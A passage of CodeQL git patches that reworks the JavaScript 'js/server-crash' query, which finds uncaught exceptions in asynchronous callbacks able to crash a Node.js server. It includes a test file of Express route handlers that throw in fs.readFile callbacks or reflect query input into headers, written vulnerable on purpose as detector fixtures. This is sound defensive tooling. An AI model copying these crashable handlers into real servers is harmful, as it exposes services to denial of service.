count(getAnInit()) } From 3015dcd3109563a0ffb415f57ca7fbcc183d5a6e Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Wed, 13 Jan 2021 15:46:34 +0100 Subject: [PATCH 0680/1241] JS: reformulate js/server-crash. Support promises and shorter paths. --- .../ql/src/Security/CWE-730/ServerCrash.ql | 278 +++++++++--------- .../Security/CWE-730/ServerCrash.expected | 107 ++++--- .../Security/CWE-730/server-crash.js | 108 ++++++- 3 files changed, 302 insertions(+), 191 deletions(-) diff --git a/javascript/ql/src/Security/CWE-730/ServerCrash.ql b/javascript/ql/src/Security/CWE-730/ServerCrash.ql index 68607db011f..b81126b33cd 100644 --- a/javascript/ql/src/Security/CWE-730/ServerCrash.ql +++ b/javascript/ql/src/Security/CWE-730/ServerCrash.ql @@ -3,7 +3,7 @@ * @description A server that can be forced to crash may be vulnerable to denial-of-service * attacks. * @kind path-problem - * @problem.severity error + * @problem.severity warning * @precision high * @id js/server-crash * @tags security @@ -13,144 +13,114 @@ import javascript /** - * A call that appears to be asynchronous (heuristic). + * Gets a function that indirectly invokes an asynchronous callback through `async`, where the callback throws an uncaught exception at `thrower`. */ -class AsyncCall extends DataFlow::CallNode { - DataFlow::FunctionNode callback; +Function invokesCallbackThatThrowsUncaughtException( + AsyncSentinelCall async, LikelyExceptionThrower thrower +) { + async.getAsyncCallee() = throwsUncaughtExceptionInAsyncContext(thrower) and + result = async.getEnclosingFunction() + or + exists(DataFlow::InvokeNode invk, Function fun | + fun = invokesCallbackThatThrowsUncaughtException(async, thrower) and + // purposely not checking for `getEnclosingTryCatchStmt`. An async callback called from inside a try-catch can still crash the server. + result = invk.getEnclosingFunction() + | + invk.getACallee() = fun + or + // traverse a slightly extended call graph to get additional TPs + invk.(AsyncSentinelCall).getAsyncCallee() = fun + ) +} - AsyncCall() { - callback.flowsTo(getLastArgument()) and - callback.getParameter(0).getName() = ["e", "err", "error"] and - callback.getNumParameter() = 2 and - not exists(callback.getAReturn()) +/** + * Gets a callee of an invocation `invk` that is not guarded by a try statement. + */ +Function getUncaughtExceptionRethrowerCallee(DataFlow::InvokeNode invk) { + not exists(invk.asExpr().getEnclosingStmt().getEnclosingTryCatchStmt()) and + result = invk.getACallee() +} + +/** + * Holds if `thrower` is not guarded by a try statement. + */ +predicate isUncaughtExceptionThrower(LikelyExceptionThrower thrower) { + not exists([thrower.(Expr).getEnclosingStmt(), thrower.(Stmt)].getEnclosingTryCatchStmt()) +} + +/** + * Gets a function that may throw an uncaught exception originating at `thrower`, which then may escape in an asynchronous calling context. + */ +Function throwsUncaughtExceptionInAsyncContext(LikelyExceptionThrower thrower) { + ( + isUncaughtExceptionThrower(thrower) and + result = thrower.getContainer() + or + exists(DataFlow::InvokeNode invk | + getUncaughtExceptionRethrowerCallee(invk) = throwsUncaughtExceptionInAsyncContext(thrower) and + result = invk.getEnclosingFunction() + ) + ) and + // Anti-case: + // An exception from an `async` function results in a rejected promise. + // Unhandled promises requires `node --unhandled-rejections=strict ...` to terminate the process + // without that flag, the DEP0018 deprecation warning is printed instead (node.js version 14 and below) + not result.isAsync() and + // pruning optimization since this predicate always is related to `invokesCallbackThatThrowsUncaughtException` + result = reachableFromAsyncCallback() +} + +/** + * Holds if `result` is reachable from a callback that is invoked asynchronously. + */ +Function reachableFromAsyncCallback() { + result instanceof AsyncCallback + or + exists(DataFlow::InvokeNode invk | + invk.getEnclosingFunction() = reachableFromAsyncCallback() and + result = invk.getACallee() + ) +} + +/** + * The main predicate of this query: used for both result display and path computation. + */ +predicate main( + HTTP::RouteHandler rh, AsyncSentinelCall async, AsyncCallback cb, LikelyExceptionThrower thrower +) { + async.getAsyncCallee() = cb and + rh.getAstNode() = invokesCallbackThatThrowsUncaughtException(async, thrower) +} + +/** + * A call that may cause a function to be invoked in an asynchronous context outside of the visible source code. + */ +class AsyncSentinelCall extends DataFlow::CallNode { + Function asyncCallee; + + AsyncSentinelCall() { + exists(DataFlow::FunctionNode node | node.getAstNode() = asyncCallee | + // manual models + exists(string memberName | + not "Sync" = memberName.suffix(memberName.length() - 4) and + this = NodeJSLib::FS::moduleMember(memberName).getACall() and + node = this.getCallback([1 .. 2]) + ) + // (add additional cases here to improve the query) + ) } /** - * Gets the callback that is invoked asynchronously. + * Gets the callee that is invoked in an asynchronous context. */ - DataFlow::FunctionNode getCallback() { result = callback } + Function getAsyncCallee() { result = asyncCallee } } /** - * Gets a function that is invoked as a consequence of invoking a route handler `rh`. + * A callback provided to an asynchronous call (heuristic). */ -Function invokedByRouteHandler(HTTP::RouteHandler rh) { - rh = result.flow() - or - // follow the immediate call graph - exists(DataFlow::InvokeNode invk | - result = invk.getACallee() and - // purposely not checking for `getEnclosingTryCatchStmt`. An async callback called from inside a try-catch can still crash the server. - invk.getEnclosingFunction() = invokedByRouteHandler(rh) - ) - // if new edges are added here, the `edges` predicate should be updated accordingly -} - -/** - * A callback provided to an asynchronous call. - */ -class AsyncCallback extends DataFlow::FunctionNode { - AsyncCallback() { this = any(AsyncCall c).getCallback() } -} - -/** - * Gets a function that is in a call stack that starts at an asynchronous `callback`, calls in the call stack occur outside of `try` blocks. - */ -Function inUnguardedAsyncCallStack(AsyncCallback callback) { - callback = result.flow() - or - exists(DataFlow::InvokeNode invk | - result = invk.getACallee() and - not exists(invk.asExpr().getEnclosingStmt().getEnclosingTryCatchStmt()) and - invk.getEnclosingFunction() = inUnguardedAsyncCallStack(callback) - ) -} - -/** - * Gets a function that is invoked by `asyncCallback` without any try-block wrapping, `asyncCallback` is in turn is called indirectly by `routeHandler`. - * - * If the result throws an excection, the server of `routeHandler` will crash. - */ -Function getAPotentialServerCrasher( - HTTP::RouteHandler routeHandler, AsyncCall asyncCall, AsyncCallback asyncCallback -) { - // the route handler transitively calls an async function - asyncCall.getEnclosingFunction() = invokedByRouteHandler(routeHandler) and - asyncCallback = asyncCall.getCallback() and - // the async function transitively calls a function that may throw an exception out of the the async function - result = inUnguardedAsyncCallStack(asyncCallback) -} - -/** - * Gets a node that is likely to throw an uncaught exception in `fun`. - */ -LikelyExceptionThrower getALikelyUncaughtExceptionThrower(Function fun) { - result.getContainer() = fun and - not exists([result.(Expr).getEnclosingStmt(), result.(Stmt)].getEnclosingTryCatchStmt()) -} - -/** - * Edges that builds an explanatory graph that follows the mental model of how the the exception flows. - * - * - step 1. exception is thrown - * - step 2. exception exits the enclosing function - * - step 3. exception follows the call graph backwards until an async callee is encountered - * - step 4. (at this point, the program crashes) - * - step 5. if the program had not crashed, the exception would conceptually follow the call graph backwards to a route handler - */ -query predicate edges(ASTNode pred, ASTNode succ) { - nodes(pred) and - nodes(succ) and - ( - // the first step from the alert location to the enclosing function - pred = getALikelyUncaughtExceptionThrower(_) and - succ = pred.getContainer() - or - // ordinary flow graph - exists(DataFlow::InvokeNode invoke, Function f | - invoke.getACallee() = f and - succ = invoke.getAstNode() and - pred = f - or - invoke.getContainer() = f and - succ = f and - pred = invoke.getAstNode() - ) - or - // the async step - exists(DataFlow::Node predNode, DataFlow::Node succNode | - exists(getAPotentialServerCrasher(_, predNode, succNode)) and - predNode.getAstNode() = succ and - succNode.getAstNode() = pred - ) - ) -} - -/** - * Nodes for building an explanatory graph that follows the mental model of how the the exception flows. - */ -query predicate nodes(ASTNode node) { - exists(HTTP::RouteHandler rh, Function fun | - main(rh, _, _) and - fun = invokedByRouteHandler(rh) - | - node = any(DataFlow::InvokeNode invk | invk.getACallee() = fun).getAstNode() or - node = fun - ) - or - exists(AsyncCallback cb, Function fun | - main(_, cb, _) and - fun = inUnguardedAsyncCallStack(cb) - | - node = any(DataFlow::InvokeNode invk | invk.getACallee() = fun).getAstNode() or - node = fun - ) - or - main(_, _, node) -} - -predicate main(HTTP::RouteHandler rh, AsyncCallback asyncCallback, ExprOrStmt crasher) { - crasher = getALikelyUncaughtExceptionThrower(getAPotentialServerCrasher(rh, _, asyncCallback)) +class AsyncCallback extends Function { + AsyncCallback() { any(AsyncSentinelCall c).getAsyncCallee() = this } } /** @@ -172,8 +142,48 @@ class CompilerConfusingExceptionThrower extends LikelyExceptionThrower { CompilerConfusingExceptionThrower() { none() } } -from HTTP::RouteHandler rh, AsyncCallback asyncCallback, ExprOrStmt crasher -where main(rh, asyncCallback, crasher) -select crasher, crasher, rh.getAstNode(), - "When an exception is thrown here and later escapes at $@, the server of $@ will crash.", - asyncCallback, "this asynchronous callback", rh, "this route handler" +/** + * Edges that builds an explanatory graph that follows the mental model of how the the exception flows. + * + * - step 1. exception is thrown + * - step 2. exception escapes the enclosing function + * - step 3. exception follows the call graph backwards until an async callee is encountered + * - step 4. (at this point, the program crashes) + */ +query predicate edges(ASTNode pred, ASTNode succ) { + exists(LikelyExceptionThrower thrower | main(_, _, _, thrower) | + pred = thrower and + succ = thrower.getContainer() + or + exists(DataFlow::InvokeNode invk, Function fun | + fun = throwsUncaughtExceptionInAsyncContext(thrower) + | + succ = invk.getAstNode() and + pred = invk.getACallee() and + pred = fun + or + succ = fun and + succ = invk.getContainer() and + pred = invk.getAstNode() + ) + ) +} + +/** + * A node in the `edge/2` relation above. + */ +query predicate nodes(ASTNode node) { + edges(node, _) or + edges(_, node) +} + +from + HTTP::RouteHandler rh, AsyncSentinelCall async, DataFlow::Node callbackArg, AsyncCallback cb, + ExprOrStmt crasher +where + main(rh, async, cb, crasher) and + callbackArg.getALocalSource().getAstNode() = cb and + async.getAnArgument() = callbackArg +select crasher, crasher, cb, + "The server of $@ will terminate when an uncaught exception from here escapes this $@", rh, + "this route handler", callbackArg, "asynchronous callback" diff --git a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected index acee72436fc..ef20a62aa9d 100644 --- a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected +++ b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected @@ -1,48 +1,65 @@ edges -| server-crash.js:5:1:9:1 | functio ... });\\n} | server-crash.js:49:3:49:16 | indirection1() | -| server-crash.js:7:5:7:14 | throw err; | server-crash.js:6:28:8:3 | (err, x ... OK\\n } | -| server-crash.js:10:1:12:1 | functio ... OT OK\\n} | server-crash.js:51:5:51:18 | indirection2() | -| server-crash.js:11:3:11:11 | throw 42; | server-crash.js:10:1:12:1 | functio ... OT OK\\n} | -| server-crash.js:13:1:19:1 | functio ... e) {}\\n} | server-crash.js:54:3:54:16 | indirection3() | -| server-crash.js:16:7:16:16 | throw err; | server-crash.js:15:30:17:5 | (err, x ... K\\n } | -| server-crash.js:20:1:22:1 | functio ... aller\\n} | server-crash.js:56:5:56:18 | indirection4() | -| server-crash.js:23:1:25:1 | functio ... n6();\\n} | server-crash.js:58:3:58:16 | indirection5() | -| server-crash.js:24:3:24:16 | indirection6() | server-crash.js:23:1:25:1 | functio ... n6();\\n} | -| server-crash.js:26:1:30:1 | functio ... });\\n} | server-crash.js:24:3:24:16 | indirection6() | -| server-crash.js:28:5:28:14 | throw err; | server-crash.js:27:28:29:3 | (err, x ... OK\\n } | -| server-crash.js:33:5:33:14 | throw err; | server-crash.js:32:28:34:3 | (err, x ... OK\\n } | -| server-crash.js:49:3:49:16 | indirection1() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | -| server-crash.js:51:5:51:18 | indirection2() | server-crash.js:50:28:52:3 | (err, x ... ();\\n } | -| server-crash.js:54:3:54:16 | indirection3() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | -| server-crash.js:56:5:56:18 | indirection4() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | -| server-crash.js:58:3:58:16 | indirection5() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | +| server-crash.js:15:5:15:14 | throw err; | server-crash.js:14:23:16:3 | (err, x ... OK\\n } | +| server-crash.js:18:1:20:1 | functio ... OT OK\\n} | server-crash.js:59:5:59:18 | indirection2() | +| server-crash.js:19:3:19:11 | throw 42; | server-crash.js:18:1:20:1 | functio ... OT OK\\n} | +| server-crash.js:24:7:24:16 | throw err; | server-crash.js:23:25:25:5 | (err, x ... K\\n } | +| server-crash.js:36:5:36:14 | throw err; | server-crash.js:35:23:37:3 | (err, x ... OK\\n } | +| server-crash.js:41:5:41:14 | throw err; | server-crash.js:40:23:42:3 | (err, x ... OK\\n } | +| server-crash.js:59:5:59:18 | indirection2() | server-crash.js:58:23:60:3 | (err, x ... ();\\n } | +| server-crash.js:88:5:88:14 | throw err; | server-crash.js:87:23:89:3 | (err, x ... OK\\n } | +| server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:93:22:95:3 | () => { ... OK\\n } | +| server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:101:24:103:5 | () => { ... K\\n } | +| server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:108:26:110:7 | () => { ... } | +| server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:116:26:118:7 | () => { ... } | +| server-crash.js:131:7:131:16 | throw err; | server-crash.js:130:25:132:5 | (err, x ... K\\n } | +| server-crash.js:152:3:154:3 | functio ... OK\\n } | server-crash.js:157:5:157:16 | throwError() | +| server-crash.js:152:3:154:3 | functio ... OK\\n } | server-crash.js:160:5:160:16 | throwError() | +| server-crash.js:152:3:154:3 | functio ... OK\\n } | server-crash.js:164:3:164:14 | throwError() | +| server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:152:3:154:3 | functio ... OK\\n } | +| server-crash.js:153:11:153:21 | new Error() | server-crash.js:152:3:154:3 | functio ... OK\\n } | +| server-crash.js:157:5:157:16 | throwError() | server-crash.js:156:3:158:3 | functio ... ath\\n } | nodes -| server-crash.js:5:1:9:1 | functio ... });\\n} | -| server-crash.js:6:28:8:3 | (err, x ... OK\\n } | -| server-crash.js:7:5:7:14 | throw err; | -| server-crash.js:10:1:12:1 | functio ... OT OK\\n} | -| server-crash.js:11:3:11:11 | throw 42; | -| server-crash.js:13:1:19:1 | functio ... e) {}\\n} | -| server-crash.js:15:30:17:5 | (err, x ... K\\n } | -| server-crash.js:16:7:16:16 | throw err; | -| server-crash.js:20:1:22:1 | functio ... aller\\n} | -| server-crash.js:23:1:25:1 | functio ... n6();\\n} | -| server-crash.js:24:3:24:16 | indirection6() | -| server-crash.js:26:1:30:1 | functio ... });\\n} | -| server-crash.js:27:28:29:3 | (err, x ... OK\\n } | -| server-crash.js:28:5:28:14 | throw err; | -| server-crash.js:31:25:73:1 | (req, r ... });\\n} | -| server-crash.js:32:28:34:3 | (err, x ... OK\\n } | -| server-crash.js:33:5:33:14 | throw err; | -| server-crash.js:49:3:49:16 | indirection1() | -| server-crash.js:50:28:52:3 | (err, x ... ();\\n } | -| server-crash.js:51:5:51:18 | indirection2() | -| server-crash.js:54:3:54:16 | indirection3() | -| server-crash.js:56:5:56:18 | indirection4() | -| server-crash.js:58:3:58:16 | indirection5() | +| server-crash.js:14:23:16:3 | (err, x ... OK\\n } | +| server-crash.js:15:5:15:14 | throw err; | +| server-crash.js:18:1:20:1 | functio ... OT OK\\n} | +| server-crash.js:19:3:19:11 | throw 42; | +| server-crash.js:23:25:25:5 | (err, x ... K\\n } | +| server-crash.js:24:7:24:16 | throw err; | +| server-crash.js:35:23:37:3 | (err, x ... OK\\n } | +| server-crash.js:36:5:36:14 | throw err; | +| server-crash.js:40:23:42:3 | (err, x ... OK\\n } | +| server-crash.js:41:5:41:14 | throw err; | +| server-crash.js:58:23:60:3 | (err, x ... ();\\n } | +| server-crash.js:59:5:59:18 | indirection2() | +| server-crash.js:87:23:89:3 | (err, x ... OK\\n } | +| server-crash.js:88:5:88:14 | throw err; | +| server-crash.js:93:22:95:3 | () => { ... OK\\n } | +| server-crash.js:94:5:94:14 | throw "e"; | +| server-crash.js:101:24:103:5 | () => { ... K\\n } | +| server-crash.js:102:7:102:16 | throw "e"; | +| server-crash.js:108:26:110:7 | () => { ... } | +| server-crash.js:109:9:109:18 | throw "e"; | +| server-crash.js:116:26:118:7 | () => { ... } | +| server-crash.js:117:9:117:18 | throw "e"; | +| server-crash.js:130:25:132:5 | (err, x ... K\\n } | +| server-crash.js:131:7:131:16 | throw err; | +| server-crash.js:152:3:154:3 | functio ... OK\\n } | +| server-crash.js:153:5:153:22 | throw new Error(); | +| server-crash.js:153:11:153:21 | new Error() | +| server-crash.js:156:3:158:3 | functio ... ath\\n } | +| server-crash.js:157:5:157:16 | throwError() | +| server-crash.js:160:5:160:16 | throwError() | +| server-crash.js:164:3:164:14 | throwError() | #select -| server-crash.js:7:5:7:14 | throw err; | server-crash.js:7:5:7:14 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:6:28:8:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:11:3:11:11 | throw 42; | server-crash.js:11:3:11:11 | throw 42; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:50:28:52:3 | (err, x ... ();\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:16:7:16:16 | throw err; | server-crash.js:16:7:16:16 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:15:30:17:5 | (err, x ... K\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:28:5:28:14 | throw err; | server-crash.js:28:5:28:14 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:27:28:29:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:33:5:33:14 | throw err; | server-crash.js:33:5:33:14 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:32:28:34:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:15:5:15:14 | throw err; | server-crash.js:15:5:15:14 | throw err; | server-crash.js:14:23:16:3 | (err, x ... OK\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:14:23:16:3 | (err, x ... OK\\n } | asynchronous callback | +| server-crash.js:19:3:19:11 | throw 42; | server-crash.js:19:3:19:11 | throw 42; | server-crash.js:58:23:60:3 | (err, x ... ();\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:58:23:60:3 | (err, x ... ();\\n } | asynchronous callback | +| server-crash.js:24:7:24:16 | throw err; | server-crash.js:24:7:24:16 | throw err; | server-crash.js:23:25:25:5 | (err, x ... K\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:23:25:25:5 | (err, x ... K\\n } | asynchronous callback | +| server-crash.js:36:5:36:14 | throw err; | server-crash.js:36:5:36:14 | throw err; | server-crash.js:35:23:37:3 | (err, x ... OK\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:35:23:37:3 | (err, x ... OK\\n } | asynchronous callback | +| server-crash.js:41:5:41:14 | throw err; | server-crash.js:41:5:41:14 | throw err; | server-crash.js:40:23:42:3 | (err, x ... OK\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:40:23:42:3 | (err, x ... OK\\n } | asynchronous callback | +| server-crash.js:88:5:88:14 | throw err; | server-crash.js:88:5:88:14 | throw err; | server-crash.js:87:23:89:3 | (err, x ... OK\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:87:23:89:3 | (err, x ... OK\\n } | asynchronous callback | +| server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:93:22:95:3 | () => { ... OK\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:92:31:120:1 | (req, r ... });\\n} | this route handler | server-crash.js:93:22:95:3 | () => { ... OK\\n } | asynchronous callback | +| server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:101:24:103:5 | () => { ... K\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:92:31:120:1 | (req, r ... });\\n} | this route handler | server-crash.js:101:24:103:5 | () => { ... K\\n } | asynchronous callback | +| server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:108:26:110:7 | () => { ... } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:92:31:120:1 | (req, r ... });\\n} | this route handler | server-crash.js:108:26:110:7 | () => { ... } | asynchronous callback | +| server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:116:26:118:7 | () => { ... } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:92:31:120:1 | (req, r ... });\\n} | this route handler | server-crash.js:116:26:118:7 | () => { ... } | asynchronous callback | +| server-crash.js:131:7:131:16 | throw err; | server-crash.js:131:7:131:16 | throw err; | server-crash.js:130:25:132:5 | (err, x ... K\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:128:32:135:1 | async ( ... un();\\n} | this route handler | server-crash.js:130:25:132:5 | (err, x ... K\\n } | asynchronous callback | +| server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:156:3:158:3 | functio ... ath\\n } | The server of $@ will terminate when an uncaught exception from here escapes this $@ | server-crash.js:151:40:166:1 | (req, r ... nc();\\n} | this route handler | server-crash.js:161:16:161:17 | cb | asynchronous callback | diff --git a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js index b1e796cbd7a..cb7bc4d9b8e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js +++ b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js @@ -1,9 +1,17 @@ const express = require("express"); const app = express(); const fs = require("fs"); +const EventEmitter = require("events"); +const http = require("http"); + +const port = 12000; +let server = app.listen(port, () => + // for manual testing of the fickle node.js runtime + console.log(`Example app listening on port ${port}!`) +); function indirection1() { - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { throw err; // NOT OK }); } @@ -12,7 +20,7 @@ function indirection2() { } function indirection3() { try { - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { throw err; // NOT OK }); } catch (e) {} @@ -24,30 +32,30 @@ function indirection5() { indirection6(); } function indirection6() { - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { throw err; // NOT OK }); } app.get("/async-throw", (req, res) => { - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { throw err; // NOT OK }); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { try { throw err; // OK: guarded throw } catch (e) {} }); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { res.setHeader("reflected", req.query.header); // NOT OK [INCONSISTENCY] }); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { try { res.setHeader("reflected", req.query.header); // OK: guarded call } catch (e) {} }); indirection1(); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { indirection2(); }); @@ -57,17 +65,17 @@ app.get("/async-throw", (req, res) => { } catch (e) {} indirection5(); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { req.query.foo; // OK }); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { req.query.foo.toString(); // OK }); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { req.query.foo.bar; // NOT OK [INCONSISTENCY]: need to add property reads as sinks }); - fs.readFile("/WHATEVER", (err, x) => { + fs.readFile("/foo", (err, x) => { res.setHeader("reflected", unknown); // OK }); @@ -80,3 +88,79 @@ function indirection7() { throw err; // NOT OK }); } + +app.get("/async-throw-again", (req, res) => { + fs.readFile("foo", () => { + throw "e"; // NOT OK + }); + fs.readFileSync("foo", () => { + throw "e"; // OK (does not take callbacks at all) + }); + // can nest async calls (and only warns about the inner one) + fs.readFile("foo", () => { + fs.readFile("bar", () => { + throw "e"; // NOT OK + }); + }); + fs.readFile("foo", () => { + // can not catch async exceptions + try { + fs.readFile("bar", () => { + throw "e"; // NOT OK + }); + } catch (e) {} + }); + // can mix sync/async calls + fs.readFile("foo", () => { + (() => + fs.readFile("bar", () => { + throw "e"; // NOT OK + }))(); + }); +}); + +app.get("/throw-in-promise-1", async (req, res) => { + async function fun() { + throw new Error(); // OK, requires `node --unhandled-rejections=strict ...` to terminate the process + } + await fun(); +}); +app.get("/throw-in-promise-2", async (req, res) => { + async function fun() { + fs.readFile("/foo", (err, x) => { + throw err; // NOT OK + }); + } + await fun(); +}); +app.get("/throw-in-promise-3", async (req, res) => { + fs.readFile("/foo", async (err, x) => { + throw err; // OK, requires `node --unhandled-rejections=strict ...` to terminate the process + }); +}); + +app.get("/throw-in-event-emitter", async (req, res) => { + class MyEmitter extends EventEmitter {} + const myEmitter = new MyEmitter(); + myEmitter.on("event", () => { + throw new Error(); // OK, requires `node --unhandled-rejections=strict ...` to terminate the process + }); + myEmitter.emit("event"); +}); + +app.get("/throw-with-ambiguous-paths", (req, res) => { + function throwError() { + throw new Error(); // NOT OK + } + + function cb() { + throwError(); // on path + } + function withAsync() { + throwError(); // not on path + fs.stat(X, cb); + } + + throwError(); // not on path + withAsync(); +}); From 42fa3bdb8191b2e3d506c7dc3e731bb3aaad8536 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 19 Jan 2021 09:13:17 +0100 Subject: [PATCH 0681/1241] Python: Only consider the closest SOURCE (in use-use flow) a source --- .../dataflow/coverage/dataflow.expected | 114 ---------------- .../dataflow/coverage/datamodel.py | 16 +-- .../experimental/dataflow/coverage/test.py | 122 +++++++++--------- .../dataflow/fieldflow/dataflow.expected | 36 ------ .../test/experimental/dataflow/testConfig.qll | 4 +- 5 files changed, 72 insertions(+), 220 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index dc085955408..3bb58f50618 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -1,68 +1,13 @@ edges -| datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | datamodel.py:152:14:152:19 | ControlFlowNode for SOURCE | -| datamodel.py:13:1:13:6 | GSSA Variable SOURCE | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | -| datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:13:1:13:6 | GSSA Variable SOURCE | -| datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | -| datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | -| datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | -| datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | -| datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | -| datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | -| datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | -| datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | -| datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | -| datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | -| datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | -| datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | -| datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | -| datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | -| datamodel.py:73:18:73:23 | 